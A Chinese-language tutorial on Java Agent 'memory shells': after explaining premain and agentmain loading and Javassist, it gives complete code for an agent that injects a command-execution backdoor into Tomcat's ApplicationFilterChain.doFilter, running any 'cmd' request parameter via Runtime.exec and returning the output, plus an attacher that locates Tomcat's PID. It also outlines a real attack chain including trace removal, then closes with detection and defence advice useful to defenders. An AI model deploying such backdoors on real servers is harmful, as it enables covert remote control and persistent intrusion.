Java Agent内存马
Java Agent内存马
Java Agent介绍
Java Agent 是 Java 提供的一种在 不修改原始代码 的前提下,对 JVM 中运行的类进行 动态监控、增强或修改字节码 的技术。它本质上是一个特殊的 JAR 包,通过 JVM 内置的 Instrumentation API 和钩子机制,在程序 启动时(Premain)或运行时(Attach + Agentmain) 介入类的加载与执行过程。
其核心能力在于:
- 在类被 JVM 加载前(或已加载后通过重转换),动态修改其字节码;
- 无需改动原有业务逻辑,即可插入监控、日志、安全检测或功能增强代码。
这一机制广泛应用于 性能诊断(如 Arthas)、APM 监控(如 SkyWalking)、代码覆盖率分析(如 JaCoCo)、AOP 编程、热部署 等场景,是 Java 生态中实现“透明增强”的关键技术之一。
Java Agent 的工作原理
启动时机
Java Agent 有两种启动方式:
- premain模式:在 JVM 启动时,主程序
main方法执行前加载,通过-javaagent:agent.jar参数指定。 - agentmai 模式:在 JVM 运行过程中动态加载(需配合 Attach API),可实现对已运行程序的干预。
- premain模式:在 JVM 启动时,主程序
核心方法
premain(String agentArgs, Instrumentation inst):premain 模式的入口,接收参数和Instrumentation实例。agentmain(String agentArgs, Instrumentation inst):agentmain 模式的入口,功能类似。Instrumentation接口:提供类转换(addTransformer)、重新定义类(redefineClasses)等核心能力,是 Agent 操作类的关键。
类转换流程当类被加载时,JVM 会回调 Agent 中注册的
ClassFileTransformer接口的transform方法,该方法可对类的字节码(byte [])进行修改,返回修改后的字节码,JVM 最终加载修改后的类。
两种加载方式详解
(0)准备项目
新建一个项目

新建一个软件包con.your_db_password, 然后新建一个类Fish
package com.your_db_password;
public class Fish {
public void swim(){
System.out.println("鱼在水中游动");
}
}在建一个类作为Fish类的程序入口Main.java
package com.your_db_password;
public class Main {
public static void main(String[] args) throws InterruptedException {
Fish fish = new Fish();
while(true){
fish.swim();
Thread.sleep(1000);
}
}
}然后这个程序就不用再改动了
(1)启动时加载(premain)
通过 -javaagent:your-agent.jar 参数在 JVM 启动时加载 Agent:
java -javaagent:/path/to/agent.jar -jar app.jar这里的agent.jar就是我们需要构造出来的jar包
新建项目

然后在pom.xml中添加内容
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Agent-Class>AgentMainTest</Agent-Class>
<Premain-Class>PremainTest</Premain-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>这个配置是在打包jar的时候能过往jar包的MANIFEST.MF中添加下面信息
Premain-Class: com.example.MyAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: truejar-with-dependencies是插件内置的描述符,指定打包方式为将项目自身的类和所有依赖的 Jar 包内容合并到一个 Jar 包中(即 “胖 Jar”)。- 作用:解决运行时依赖缺失问题,无需单独指定依赖路径,直接通过
java -jar即可运行。 <Agent-Class>:指定 agentmain 模式的入口类(全类名,如 AgentMainTest)。 该类需包含 public static void agentmain(String agentArgs, Instrumentation inst) 方法,用于在 JVM 运行时动态加载 Agent。<Premain-Class>:指定 premain 模式的入口类(全类名,如 PremainTest)。 该类需包含 public static void premain(String agentArgs, Instrumentation inst) 方法,用于在 JVM 启动时(main 方法前)加载 Agent。<Can-Redefine-Classes>:声明该 Agent 允许重新定义已加载的类(true 表示允许),支持动态修改类结构。<Can-Retransform-Classes>:声明该 Agent 允许对已加载的类进行重新转换(true 表示允许),支持类字节码的二次修改。
配置完pom.xml文件后就可以创建premain了,premain的类名要和<Agent-Class>AgentMainTest</Agent-Class>中保持一致
PremainTest.java
import java.lang.instrument.Instrumentation;
public class PremainTest {
public static void premain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new AgentTransformer());
}
}
AgentTransformer类是会用来实现ClassFileTransformer的类,负责类的具体转换工作
AgentTransformer.java
import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class AgentTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("zero/overflow/demo1/Fox")){
return read("Fox.class");
}
return null;
}
public static byte[] read(String path)
{
try {
FileInputStream in =new FileInputStream(path);
//当文件没有结束时,每次读取一个字节显示
byte[] data=new byte[in.available()];
in.read(data);
in.close();
return data;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}transform方法:
- 功能: 类文件转换器的核心方法
- 逻辑: 当遇到类名为 zero/overflow/demo1/Fox 时,使用本地的 Fox.class 文件替换原类文件
- 返回值: 返回新的字节码数据或null(表示不进行转换)
read方法:
- 功能: 从指定路径读取class文件的字节码数据
- 实现: 使用 FileInputStream 读取文件内容到字节数组
- 异常处理: 捕获并打印异常,异常时返回null
所以AgentTransformer类的作用就是如果检测到加载的是Fish类,就会替换成我们编译的另一个Fish.class的内容,所以需要再编写一个Fish.java
类,用来编译Fish.class。
所以在我们的premain项目下创建和准备阶段的包和类

然后就可以打包我们前面需要的agent.jar包了
使用mvn package打包

然后会生成target目录

首先复制Fish.class文件的文职,复制到AgentTransformer

然后使用mvn clean package再次打包

复制第二个jar包的绝对路径,然后回到刚才准备阶段的AgentDemo项目
这里Main除了在IDEA中运行, 还可以使用下面方式运行。

这时我们使用前面提到的java -javaagent:/path/to/agent.jar -jar app.jar

可以看到原来的值已经被修改了,这就是premain加载的方式
(2)运行中动态加载(agentmain )
通过 com.sun.tools.attach.VirtualMachine API,在目标 JVM 已经运行后动态附加 Agent:
VirtualMachine vm = VirtualMachine.attach("pid");
vm.loadAgent("/path/to/agent.jar");
vm.detach();此时 Agent 需提供 agentmain 方法:java
public static void agentmain(String agentArgs, Instrumentation inst) {
// 动态注入逻辑
}具体步骤:
在前面的pom.xml已经配置了<Agent-Class>AgentMainTest</Agent-Class>属性
接下来创建一个与属性值同名的类AgentMainTest.java类
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst)
{
inst.addTransformer(new AgentTransformer(),true);
for (Class<?> clazz : inst.getAllLoadedClasses()){
if (clazz.getName().equals("com.your_db_password.Fish")){
try {
inst.retransformClasses(clazz);
} catch (UnmodifiableClassException e) {
throw new RuntimeException(e);
}
}
}
}
}功能说明:
- 通过
inst.addTransformer(new AgentTransformer(), true)添加了一个类转换器AgentTransformer,第二个参数true表示转换器是可重转换的 - 遍历所有已加载的类(
inst.getAllLoadedClasses()) - 查找名为"com.your_db_password.Fish"的类
- 如果找到该类,尝试使用
inst.retransformClasses(clazz)重新转换它
然后再次使用mvn clean package打包当前项目。这一步需要在下面配置pox.xml之前
然后写一个程序实现 将Agent JAR 注入到目标进程的类Attach.java
这里就需要前面介绍的VirtualMachine API, 先在pom.xml中进行配置指定一下
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8</version>
<scope>system</scope>
<systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>然后创建Attach.java类
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
VirtualMachine attach = VirtualMachine.attach("pid");
attach.loadAgent("");
}
}VirtualMachine.attach("pid"):根据进程ID(pid)附加到目标JVMattach.loadAgent(""):加载指定的Java Agent到目标JVM
工作流程:
- 程序启动时接收一个进程ID作为参数
- 通过
VirtualMachine.attach()连接到目标JVM - 使用
loadAgent()方法加载指定的Agent(JAR文件) - 加载成功后,Agent会在目标JVM中执行其
agentmain()方法
1.将上面刚刚打包的jar包添加到 attach.loadAgent("");中
2.然后就可以启动在准备阶段创建的项目了
3.然后使用命令jps -l能够获取当前运行的java进程,将获取的进程号添加到pid处

然后运行Attach类

就可以看到代码在运行中被修改了。
Javassist
在了解了Java Agent的两种加载方式后,大概对Agent内存马有了一个简单的概念, 接下来就可以尝试Agent内存马了,但在高内存马之前,先了解一下javassist。
Javassist(Java Programming Assistant)是一个开源的 Java 字节码操作库,允许开发者在运行时动态创建、修改 Java 类,而无需直接编写复杂的字节码指令(如 ASM 所需),大大降低了 Java 字节码编程的门槛。
核心组件(关键类)
| 类 | 作用 |
|---|---|
ClassPool |
类的容器,默认包含 JVM 已加载的类路径;可获取或创建 CtClass |
CtClass |
表示一个“可编辑”的 Java 类(Compile-time Class) |
CtMethod / CtConstructor / CtField |
分别表示方法、构造器、字段,支持插入、替换、删除代码 |
ExprEditor |
高级编辑器,可遍历方法中的特定表达式(如方法调用、new 表达式)并修改 |
简单示例
import javassist.*;
public class JavassistDemo {
public static void main(String[] args) throws Exception {
// 1. 获取默认类池
ClassPool pool = ClassPool.getDefault();
// 2. 获取目标类(必须在 classpath 中)
CtClass cc = pool.get("com.example.TargetClass");
// 3. 获取目标方法
CtMethod method = cc.getDeclaredMethod("sayHello");
// 4. 在方法开头插入代码(字符串形式,像写 Java)
method.insertBefore("{ System.out.println(\"[Before] Entering sayHello\"); }");
method.insertAfter("{ System.out.println(\"[After] Exiting sayHello\"); }");
// 5. 将修改后的类加载到 JVM
Class<?> clazz = cc.toClass();
Object obj = clazz.newInstance();
clazz.getMethod("sayHello").invoke(obj);
}
}Maven依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>Agent内存马
了解前面的知识,就可以开始Agent内存马了
Agent 内存马的原理
Agent 内存马利用 Java Agent 的 Attach 机制,在目标 JVM 运行时动态注入一个恶意 Agent JAR。该 Agent 会:
- Hook 关键类(如
javax.servlet.http.HttpServlet、org.springframework.web.servlet.DispatcherServlet等); - 修改其字节码,在请求处理流程中插入恶意逻辑(如判断特定参数执行命令);
- 实现持久化、隐蔽的 Webshell。
由于 Agent 拥有 JVM 级别的控制权,它可以:
- 修改任意类的字节码;
- 绕过传统基于 Filter/Servlet 注册表的检测;
- 难以被常规内存扫描发现(因为恶意逻辑已融合进正常类中)。
开始操作
我们已经了解到Java Agent可以动态的修改一个类,将我们构造的agent.jat包attach到进程上,那应该选择什么进程呢?
这是我们可以优选考虑**org.apache.catalina.core.ApplicationFilterChain**。这个类:
- Tomcat 中所有请求必经之路:无论你访问哪个 URL、是否配置了 Filter,最终都会调用
ApplicationFilterChain.doFilter()。 - 无需知道具体路由:不像修改某个 Controller 或 Servlet,需要知道路径;这个类是全局入口。
- 兼容性好:Tomcat 6~10 结构基本一致。
- 绕过权限控制:即使应用有 Shiro/Spring Security,FilterChain 也在其之前执行(取决于 Filter 顺序,但可插入最前)。
这个类在学习其他内存马的时候已经详细了解过了,当确定控制这个类后,就可以开始内存马的构造了
先构造执行注入后执行的语句
// 接收HTTP请求中的cmd参数,执行系统命令并将结果通过HTTP响应返回
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
// 执行用户传入的系统命令
Process proc = Runtime.getRuntime().exec(cmd);
// 获取命令执行的输入流(即命令执行结果)
java.io.InputStream in = proc.getInputStream();
// 包装输入流,方便按行读取结果
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));
// 设置HTTP响应的内容类型为HTML
response.setContentType("text/html");
String line;
// 获取响应输出流,用于向客户端输出结果
java.io.PrintWriter out = response.getWriter();
// 循环读取命令执行结果的每一行并输出
while ((line = br.readLine()) != null) {
out.println(line);
out.flush();
}
out.close();
} catch (Exception e) {
// 捕获异常并转换为运行时异常抛出
throw new RuntimeException(e);
}
}我们此时要实现的就是将这段代码插入到运行的tomcat进程中
结合这段代码,打包一个agent.jar包,附属到tomcat进程,就可以使用刚了解的agentmian的加载方式上手
所以需要获取到tomcat的进程号,启动tomcat

查找tomcat的进程号,可以看到,tomcat启动类的名称是固定的:org.apache.catalina.startup.Bootstrap
了解这些就可以打包jar包了
首先配置pom.xml文件,配置agentmain并添加javassist依赖


接下来编写AgentMainTest类,实现对org.apache.catalina.core.ApplicationFilterChain类用自己定义的AgentTransformer类进行转换字节码
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst)
{
inst.addTransformer(new AgentTransformer(),true);
for (Class<?> clazz : inst.getAllLoadedClasses()){
if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
try {
inst.retransformClasses(clazz);
} catch (UnmodifiableClassException e) {
throw new RuntimeException(e);
}
}
}
}
}然后编写进行字节码转换的代码AgentTransformer.java,将上面构造的插入的语句写入里面
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class AgentTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader));
try {
CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
doFilter.insertBefore("{" +
"String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
" try {\n" +
" Process proc = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream in = proc.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" response.setContentType(\"text/html\");\n" +
" String line;\n" +
" java.io.PrintWriter out = response.getWriter();\n" +
" while ((line = br.readLine()) != null) {\n" +
" out.println(line);\n" +
" out.flush();\n" +
" out.close();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" throw new RuntimeException(e);\n" +
" }\n" +
"}" +
"}");
return cc.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
return null;
}
}再写一个代码获取tomcat进程和pid号
import com.sun.tools.attach.VirtualMachine;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.net.URL;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;
public class test {
public static void main(String[] args) throws Exception {
// 获取目标进程(Tomcat启动类对应的进程)的PID
String pid = getPID("org.apache.catalina.startup.Bootstrap");
if (pid == null) {
throw new RuntimeException("未找到目标进程");
}
// 获取当前类所在的JAR包路径
String jar = getJar(test.class);
// 附加到目标进程
VirtualMachine vm = VirtualMachine.attach(pid);
// 加载Agent到目标进程
vm.loadAgent(jar);
}
public static String getJar(Class<?> clazz) {
// 获取类的保护域,用于定位类所在的JAR包
ProtectionDomain protectionDomain = clazz.getProtectionDomain();
URL location = protectionDomain.getCodeSource().getLocation();
String path = location.getPath();
// 处理Windows系统下路径以"/"开头的特殊情况
if (System.getProperty("os.name").toLowerCase().contains("win") && path.startsWith("/")) {
path = path.substring(1);
}
return path;
}
public static String getPID(String className) {
try {
// 执行jps -l命令,获取所有Java进程及其主类信息
Process process = Runtime.getRuntime().exec("jps -l");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
// 查找包含目标类名的进程行,提取PID
if (line.contains(className)) {
return line.split(" ")[0];
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return null;
}
}编写这个类的时候对上面pom.xml中的VirtualMachine配置的注释取消,但在使用mvn打包的时候需要注释掉,负责mvn打包不成功
然后就可以打包mvn clean package
然后启动tomcat

访问http://localhost:8080/?cmd=calc,没有反应,当我们运行打包的jar包
java -jar .\target\Premain-1.0-SNAPSHOT-jar-with-dependencies.jar
然后再次访问,命令就成功执行。
实际攻击流程示例
获取目标进程 PID 通常通过漏洞(如 Spring Boot Actuator、JMX 未授权访问)或系统命令执行获得。
上传恶意 Agent JAR 利用文件上传漏洞或直接通过内存写入(如使用
defineClass+ 反射构造 JAR 字节流)。调用 Attach API 加载 Agent 通过反射调用
sun.tools.attach.VirtualMachineImpl,附加到自身或目标进程。Agent 执行字节码插桩 在
HttpServlet.service()或 Spring 的HandlerMapping中插入后门逻辑,例如:if (request.getParameter("cmd") != null) { String cmd = request.getParameter("cmd");java Process p = Runtime.getRuntime().exec(cmd); // 回显结果... }清除痕迹 删除临时 JAR 文件,甚至从内存中抹去 Agent 相关类引用,增加检测难度。
检测与防御
检测手段
- 监控 Attach 行为:记录
com.sun.tools.attach相关调用。 - 检查 Instrumentation 实例:通过反射查看是否有非预期的
ClassFileTransformer。 - 字节码完整性校验:对比关键类(如 HttpServlet)的当前字节码与原始 JAR 中是否一致。
- 使用安全产品:如 OpenRASP、青藤云、奇安信等支持 Agent 行为监控。
防御建议
禁用 Attach 机制(生产环境):
-Djdk.attach.allowAttachSelf=false -XX:+DisableAttachMechanism注意:部分 JDK 版本不支持
DisableAttachMechanism。最小权限原则:应用不要以 root 或高权限用户运行。
限制外部输入:防止反序列化、表达式注入等漏洞。
定期内存快照分析:使用 MAT、JProfiler 等工具排查异常类或 Transformer。
启用 SecurityManager(虽已废弃,但在旧系统仍可用)限制敏感操作。
总结
- Java Agent 本身是合法且强大的开发工具,广泛用于 APM、调试等领域。
- Agent 内存马 是其被滥用于攻击的产物,代表了 Java Web 攻击技术的高级形态。
- 防御需结合漏洞治理 + 行为监控 + 运行时保护,不能仅依赖传统杀毒或 WAF。
参考文章:https://docs.dingtalk.com/i/nodes/QPGYqjpJYrPrKaQ5UE6eZkY38akx1Z5N
参考视频:https://www.bilibili.com/video/BV1HaGPzcENy
其他agent内存马项目:https://github.com/rebeyond/memShell